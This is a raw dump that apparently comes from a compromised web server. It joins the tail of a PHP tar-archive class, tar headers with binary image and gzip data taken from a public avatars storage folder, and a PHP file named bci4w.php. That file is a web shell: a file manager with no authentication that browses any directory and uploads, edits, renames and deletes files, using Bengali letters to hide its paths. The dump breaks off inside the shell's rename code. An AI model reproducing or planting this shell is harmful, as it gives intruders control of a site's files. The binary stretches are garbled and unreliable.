		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>674dc9a7e6beb.jpg.tar000064400000005000000000000000010043 0ustar00var/www/html/back/storage/app/public/avatars/10/674dc9a7e6beb.jpg000075500000001567000000000000020142 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���67e272a89d6f9.jpg.tar000064400000005000000000000000007636 0ustar00var/www/html/back/storage/app/public/avatars/10/67e272a89d6f9.jpg000075500000001567000000000000017735 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���67c1be3c7f0cd.jpg.jpg.tar.gz000064400000001211000000000000011226 0ustar00�+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O6LJ5N6O3HN��*Hg �����8����� d�+a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@�5k
674dc9a7e6beb.jpg.jpg.tar.gz000064400000001211000000000000011241 0ustar00�+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�737II�L4O5KJM��*Hg �����8����� d�)a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��Ƹ�������������FNNNn	^^	#EE#����))̌JL��̂���0�300�2�,��YX��98���
�
001233�0����ek��,��B���l��J�"F�r(;m<(t�qRQ'������������	0U[XZ9����{xz����GDF%+=#3����������������k��)S�M�1s֢�K�.[�b�M��lݶ}��]�9z���.]�r��7o=|���g�_�|����/_�}����_�̌0��_�@1��0������TR �ªh�&�ȞX(�d��!�4q�ƃ���AD��.r���<T���g�y��,��=���-fF`�12�3��ץ��i�c��7(���Q0
F�g*
67e272b25bcec.jpg.jpg.tar.gz000064400000001211000000000000011147 0ustar00�+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O527J22MJNM��*Hg �����8����� d�(a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@���
b3vd5z.tar.gz000064400000006041000000000000006752 0ustar00���r�Fr��j�a�՚TY$�ۑHzeI���c˒r�r����	�Q�Ɵ����)�=�L�M�*����s��ŷ��`���;[[��[������x��llm���4=�PR$����G���ׇ�?�9&#�:ݿ���g�Po�1�g��Ǩ
#G�e�kDE�dǸ8�xb䞍��&����A��w*y�a�|O2&�<�0{��S=겎q��8��@��-G��r�5�����:�Т�7[S\�K�u��ڦ��]��`���L�{�i�^�*���oE�c�������߷���V�:����6�i�a���r�	w"��1B9qX8bL�"D
.'�|D7�l5N�9�O�ۃg�����כ����;��������Ko���i�Cl��9>9�_�����]�=:ع��^����C�u�������Y�hV�i9~d*X��]�^�;�����t�B�e�jAINg*s������������	���ǁuq�w��9}���y������o��ƒ�p�N��Ip��yc�5?��6�g���W/�'Wg���oyH��N'C�B ��	�D�;��<���2��n��þoO�H��)�A�З�9�<Kr�����¥�d`�a}�?�,\�P�̨e@�g��!���ݭ�'[�Y <b��"��DOH暙�kdc�4I��<��H>愬Ho����/ ��M)�Z��/�)#�W�� ����Q���:�%P�b��Yk�O���Hx1x�)��Ԯ�Î� �pU_��Y��Q�Q"P~�	
�Fj���H8��K��
w�(�N�
���Fz�x��U0�'��};Hn�@����V�Ƭ������~JlLo�ݢ��W�`O�0���V����!}�3Q/�ev��	��&a@t�E��ƌq���9��c@�D@pA��A?ݶɻ�����#I-�A]�VBbD]bX	��XJ@	3�A~��d�,H�/�g��,`ٞ/[��g�^�XX�"��G�{=m2HgM���bDF��
w鐅�	f-�Z�0gs1��N.�=�>�S�="u�|nAeّ/}�M��Qȭ-a���O��C��r\U�i97DUT;�l�e����
���
�����K� hbx���&����\?����!��?�[���O��MH��=��Z��B���S̤�"Ǵ�`L#�t��Z[P���1P�^��b8�!�+�����ZP��w�`n '��D�5”N��~�Þ�E=�������n�CK�@v/=�e��׎�`��ń��BD�d6k&����B;�~��s��MǷ(�]3�Y�z�6c�9g"�r+%��xC�JF�7e�����"���B�=�b-�����-䜧Ԓbp�
 �׍7�/4yD�i�kиx�6	N0�CN�'H	�4{���}j]�yvÂ�H쑿������b��<:d�Oi�4>��Y���J;�!�����Ɓq�C]�Ě��n��lA�ɐ=�0tR�^K�Z��6����Գ&���*P,P�]���
"��`��zKC�l��Xaз�3�7}�٥V#��9Қ]z|RDl���De�؝yitM�(���r(�E\���{��ɣ�g��R'�[� iwP@>~\�Y�ŀ���X�����)ۜ|�PN9�P.�~^�Ѐ��7A(Рi�$�L���%c���VGhȩG`4�~tө�H8:7�3)Z�jJ�P���(�ڗ�_æ�� r�)�{���P�M}3���ssK�w_�~u��D2����؁�Kq�~Ms�$80a�� �%9%�@���ܞ߿BG� D@��zf
�;6i9��+��RD��SS�Slu��U���d�<J\��&�L{l�B�}�hCH�C&�$3gU�J� 
!���[����X��e	�����T��z
&�_}��#�;U�Cdv�X�n��!��	����7�ߑ�J�p��ʷ��3{.�&�p.ā*��00�|�D���7k�8�Xo�h�z\g�Y���i�Q�u
MM��H?/�a5UL��薄Y}+	� ����m4�fMbS	��9�������Gs%w��3�ZoiaUeI���ZU�Y#���JƧcJ��N�-×�Di7�|$:-�
K��e�y
�7›�
�Kg�"GG�arY��!R�pT��1�ͼN
�^���-�"3g�Z�neӸ���EOM�-l@*Ypg�h�9��v�\-C���Ŵ�����23�O��m6o%�6���X�PX��*�h���4�Y�
ݧ����7t�R��s�e\(�����0WN{��.��+�@-p����#u�\�ד
@ɍ�I\&G>�6�C�>A���u#Gr��MU���Q#��3XAK*$�'��^��ͽ �q��6��W�8>�u�mn�t+P���\����:�$H5�(�������+M��o�6����"�:#���*�Iv'��*��c�\���W�Os�P��\Y�$�x���Dx��ô��T�҂��Q��ܵ�TMu��R��o�i�m܌#�\)c�
AU�����:�AC��-+�A��k�T٧��{�U��J�RM6��>��n�����j+k�|��~b�:����ۭ0`��� FU�!����]	4�ʚ9y�� ��,d��_�zg�v�x��K���o]ԨʑO+����G��f�
/��]y0�s}�x������Xp��Ԅ5��޴�X<�6^�|���e�r���XY�79�9�Z�$���X��.���/�>>{�Ϸ���a?�Ȯ�z����*�
z�Z����7�Aߥ<�O�8��gTW�d�L��m&L6�f�ۮ����™/�d�����b��7$?�ƙE�,MU%a/���C�V\�t�f�j�0­��*�j��6����@٦:��i�S�br[�U�n�w,��XB��K��J����>=7��j�>���|�#�_�� �����=ǻ;7oGׯ�}�o����φ��N 6�_9���N{ѻg����o�
��nt��������cw�l(�_3�M�5��q�����C���h�267c6da0a349ea.jpg.jpg.tar.gz000064400000001211000000000000011146 0ustar00�+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O6KI4H46�LM��*Hg �����8����� d��+a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@t8��
b3vd5z.tar000064400000031000000000000000006324 0ustar00bci4w.php000064400000025735000000000000006242 0ustar00<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
